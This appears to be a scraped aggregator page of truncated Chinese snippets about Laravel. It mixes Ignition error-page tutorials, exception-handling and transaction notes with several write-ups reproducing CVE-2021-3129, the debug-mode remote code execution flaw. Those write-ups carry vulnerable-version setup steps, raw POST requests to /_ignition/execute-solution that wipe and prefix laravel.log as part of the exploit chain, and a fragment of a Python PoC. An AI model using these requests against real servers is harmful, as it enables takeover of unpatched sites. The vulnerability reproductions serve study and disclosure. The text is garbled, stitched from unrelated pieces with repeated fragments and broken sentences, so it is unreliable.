来源地址:https://freek.dev/1441-ignition-a-new-error-page-for-laravel 译文地址:https://learnku.com/laravel/t/...因为这是 Laravel 特有的,我们可以做很多很酷的事情。 ? 发现 Ignition 让我们来探索 Ignition 所有的细节。...namespace App\Exceptions; use Exception; use Facade\IgnitionContracts\Solution; use Facade\IgnitionContracts...namespace App\Exceptions; use Exception; use Facade\IgnitionContracts\ProvidesSolution; class CustomException...定制 Ignition Ignition 具有可扩展性。您可以添加新选项卡或替换默认选项卡。 让我们看一下提供的 facade/ignition-tinker-tab。
create-project laravel/laravel=7.* laravel-demo 然后我们直接使用内置的服务运行 cd laravel-demo && php artisan serve...Target class [view.engine.resolver] does not exist.这个错误其实是facade/ignition这个服务提供者导致的,facade/ignition是一个漂亮的错误页面...把一下内容增加到composer.json "extra": { "laravel": { "dont-discover": [ "facade/ignition...Laravel默认的错误页面,并且错误消息不足,我们查看一下错误日志文件storage/logs/laravel.log Laravel 从图片中看到Session的启动导致的错误..., 找到文件app\Exceptions\Handler.php自定义处理错误 public function render($request, Throwable $exception)
cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php.../laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75) [stacktrace] #0.../laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents...() #2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php...laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade
trackerHookMalloc函数, 然后打开另一个命令行执行php -r "trackerAnalyzeLeak();"即可. [29260 (Loop 4252)] /var/dev/vendor/facade.../ignition/src/QueryRecorder/QueryRecorder.php:44 => [-192] Free Pre (Loop 4052) : /var...Free Pre (Loop 4052) : /var/dev/vendor/facade/ignition/src/QueryRecorder/Query.php:26 => [128] [29260...(Loop 4252)] /var/dev/vendor/laravel/framework/src/Illuminate/Foundation/Application.php:745 => [160.../Grammar.php:1264 => [64] [29260 (Loop 4252)] /var/dev/vendor/facade/ignition/src/QueryRecorder/Query.php
或者是Dcat Admin 之前我也写过一篇文章讲过如何减少你的服务提供者, 因为自从Laravel5.5之后,需要第三方包都可以自己注册,然后Laravel自动发现这些服务提供者 可以运行这条命令找出你已经注册的服务提供者...: php artisan package:discover Discovered Package: dcat/laravel-admin Discovered Package: facade/ignition...Discovered Package: fideloper/proxy Discovered Package: fruitcake/laravel-cors Discovered Package: laravel...这里可以很明显看到了dcat/laravel-admin, 我们只需要去项目根目录下的composer.json写入以下配置 "extra": { "laravel": { "...class 注释掉分页服务(依赖视图)Illuminate\Pagination\PaginationServiceProvider::class 现在已经可以正常使用了, 不过还有最后一步 找到文件Exceptions
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName...: application/json Content-Length: 332 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution.../storage/logs/laravel.log" } } 给Log增加一次前缀,用于对齐: POST /_ignition/execute-solution HTTP/2 Host: 小生观察室...Content-Type: application/json Content-Length: 155 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution...HTTP/2 Host: 小生观察室 Content-Type: application/json Content-Length: 212 { "solution": "Facade\\Ignition
: 170 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters...: application/json Content-Length: 332 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution.../storage/logs/laravel.log" } } 给Log增加一次前缀,用于对齐: POST /_ignition/execute-solution HTTP/2 Host: 小生观察室...Content-Type: application/json Content-Length: 155 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution...HTTP/2 Host: 小生观察室 Content-Type: application/json Content-Length: 212 { "solution": "Facade\\Ignition
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求...里面将生成两个POC,导致利用失败: image-20210225125529843 (2)发送如下数据包,将Laravel的原日志文件laravel.log清空: POST /_ignition/execute-solution.../storage/logs/laravel.log" }} (3)发送如下数据包,给Log增加一次前缀,用于对齐: POST /_ignition/execute-solution HTTP/1.1Host...: 192.168.1.8:81Content-Type: application/jsonContent-Length: 163{ "solution": "Facade\\Ignition\\Solutions...: application/jsonContent-Length: 210{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution
repo.packagist composer https://packagist.phpcomposer.com 创建项目 composer create-project --prefer-dist laravel.../laravel learnLaravel 当你看到这里一下内容的时候说明你的项目创建成功 Writing lock file Generating optimized autoload files >...Foundation\ComposerScripts::postAutoloadDump > @php artisan package:discover --ansi Discovered Package: facade.../ignition Discovered Package: fideloper/proxy Discovered Package: laravel/tinker Discovered Package:...项目结构 首先解释一下laravel的配置文件.env中的数据配置信息,作为开发人员我们首先关注的是数据库,在这里优先解释一下数据库配置 DB_CONNECTION=mysql 数据库类型 DB_HOST
laravel Remote code execute on debug mode复现 2021-1-12号,看到国外的师傅,挖了个laravel的命令执行,而且还用了两种方法, 感觉第一种方法姿势是真的妙...获取代码 $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer...install $ composer require facade/ignition==2.5.1 $ php artisan serve 需要版本>7.3 ?...日志文件(当laravel报错之后,会默认将报错写入storage\logs\laravel.log中。) 第三种情况如下: 读取不存在的文件Mrkaixin ? 日志中的表现如下 ?...").content) def trigger_poc(): rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution
Laravel在入口index.php时先加载Composer加载器:Laravel5.2之Composer自动加载,然后进行Application的实例化:Laravel5.3之IoC Container...Log的facade是\Illuminate\Support\Facades\Log: class Log extends Facade { /** * Get the registered name...当然,至于使用Facade来从容器中获取服务也聊过,也不复杂,看下\Illuminate\Support\Facades\Facade的resolveFacadeInstance()源码就知道了:...bootstrap()的源码: public function bootstrap(Application $app) { $this->app = $app; error_reporting...(-1); // 出现错误,抛出throw new ErrorException set_error_handler([$this, 'handleError']);
Laravel在入口index.php时先加载Composer加载器:Laravel学习笔记之Composer自动加载,然后进行Application的实例化:Laravel学习笔记之IoC Container...Log的facade是\Illuminate\Support\Facades\Log: class Log extends Facade { /** * Get the registered...当然,至于使用Facade来从容器中获取服务也聊过,也不复杂,看下\Illuminate\Support\Facades\Facade的resolveFacadeInstance()源码就知道了:...bootstrap()的源码: public function bootstrap(Application $app) { $this->app = $app; error_reporting...(-1); // 出现错误,抛出throw new ErrorException set_error_handler([$this, 'handleError']);
0x02 漏洞概述 编号:CVE-2021-3129 当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents...0x03 影响版本 Laravel 框架 < 8.4.3 facade ignition 组件 < 2.5.2 0x04 环境搭建 1.从github上获取代码 git clone https://...# 利用composer下载依赖库文件 $ composer require facade/ignition==2.5.1 # 下载存在漏洞版本组件 $ php artisan serve 2.将我们拉下来的代码放入...0x06 漏洞分析 安装时特意安装的ignition==2.5.1,所以漏洞其实就发生在Ignition(<=2.5.1)中,ignition默认提供了以下几个solutions,通过这些solutions.../facade/ignition/releases 0x08 坑点 1、生成不了phar文件是因为php配置的问题,需要将php.ini中的phar.readonly 改为 Off 2、phpggc
Description 在Laravel中要想在数据库事务中运行一组操作,则可以在 DB facade 中使用 transaction 方法。如果在事务的闭包内抛出异常,事务将会被自动还原。...那么要实现这种数据结构就需要三个表: 知识点表 wiki: 考点表 tag: 考点知识点关联表 wiki_tag_rel 现在要开启事务新增Wiki数据,新增wiki成功后再把它关联到指定的考点上去 (在laravel...\QueryException $ex) { DB::rollback(); return \Response::json(['status' => 'error...', 'error_msg' => 'Failed, please contact supervisor']); } return \Response:...', 'error_msg' => 'Failed, please contact supervisor']); } return \Response::json([
前言 如果大家在Laravel中要想在数据库事务中运行一组操作,则可以在 DB facade 中使用 transaction 方法。如果在事务的闭包内抛出异常,事务将会被自动还原。...---- id name 考点知识点关联表 wiki_tag_rel ---- id tag_id wiki_id 现在要开启事务新增Wiki数据,新增wiki成功后再把它关联到指定的考点上去 (在laravel...} catch(IlluminateDatabaseQueryException $ex) { DB::rollback(); return Response::json(['status' => 'error...', 'error_msg' => 'Failed, please contact supervisor']); } return Response::json(['status' => 'ok']);...', 'error_msg' => 'Failed, please contact supervisor']); } return Response::json(['status' => 'ok']);
这篇文章我们来简单梳理一下Laravel中提供的异常处理能力,然后讲一些在开发中使用异常处理的实践,如何使用自定义异常、如何扩展Laravel的异常处理能力。...class ); 这里再顺便说一下 set_error_handler函数,它的作用是注册错误处理器函数,因为在一些年代久远的代码或者类库中大多是采用PHP那件函数 trigger_error函数来抛出错误的...,异常处理器只能处理Exception不能处理Error,所以为了能够兼容老类库通常都会使用 set_error_handler注册全局的错误处理器方法,在方法中捕获到错误后将错误转化成异常再重新抛出,...Laravel的处理HTTP请求不成功时抛出此异常 扩展Laravel的异常处理器 上面说了Laravel把 \App\Exceptions\Handler 注册成功了全局的异常处理器,代码中没有被...catch到的异常,最后都会被 \App\Exceptions\Handler捕获到,处理器先上报异常记录到日志文件里然后渲染异常响应再发送响应给客户端。
想要说清Laravel的生命周期,先来了解一下PHP的生命周期。 ?...其实就是为了定位Laravel在哪里执行的,没错,就是第3步。...class ); // 异常处理内核 $app->singleton( Illuminate\Contracts\Debug\ExceptionHandler::class, App\Exceptions...protected function sendRequestThroughRouter($request) { $this->app->instance('request', $request); Facade...protected function sendRequestThroughRouter($request) { $this->app->instance('request', $request); Facade
Laravel的异常处理集中在App\Exceptions\Handler类中,这允许您自定义异常报告和呈现的方式。 异常处理程序 Laravel中的Handler类负责捕获和处理异常。...让我们创建一个自定义异常类: namespace App\Exceptions; use Exception; class CustomException extends Exception {...john@example.com', ]); } catch (QueryException $e) { // Handle the database exception Log::error...($e->getMessage()); return response()->json(['error' => 'Database error'], 500); } 在这个例子中,我们专门捕获了一个...(\Exception $e) { // Log the exception Log::error($e->getMessage()); // Additional handling
简介 Laravel 默认已经为我们配置好了错误和异常处理,我们在 App\Exceptions\Handler 类中触发异常并将响应返回给用户。...* * This is a great spot to send exceptions to Sentry, Bugsnag, etc....php namespace App\Exceptions; use Exception; class RenderException extends Exception { /**...Log::emergency($error); Log::alert($error); Log::critical($error); Log::error($error); Log::warning...($error); Log::notice($error); Log::info($error); Log::debug($error); 上下文信息 上下文数据也会以数组形式传递给日志方法,然后和日志消息一起被格式化和显示
领取专属 10元无门槛券
手把手带您无忧上云